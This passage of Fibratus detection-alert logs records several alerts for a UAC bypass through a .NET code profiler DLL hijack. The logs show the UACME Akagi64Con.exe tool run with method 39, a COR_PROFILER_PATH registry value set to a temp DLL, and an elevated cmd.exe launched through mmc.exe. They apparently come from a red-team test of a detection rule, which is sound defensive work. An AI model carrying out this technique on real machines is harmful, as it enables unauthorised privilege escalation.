Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 89908 + Pid: 17444 + Tid: 6592 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:34:17.6236576 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3ac122000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808004532080, name➜ cmd.exe, pid➜ 6124, ppid➜ 17444, real_ppid➜ 17444, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:34:17.6236107 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17444 + Ppid: 8612 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:34:31+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 90658 + Pid: 17216 + Tid: 8336 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:34:29.8568078 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 17216 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 91109 + Pid: 16452 + Tid: 3536 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:34:30.5008987 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3f67d4000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808004cf0080, name➜ cmd.exe, pid➜ 1608, ppid➜ 16452, real_ppid➜ 16452, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:34:30.5008519 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 16452 + Ppid: 17216 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:34:49+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 92735 + Pid: 3816 + Tid: 1940 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:34:48.5129838 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 3816 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program 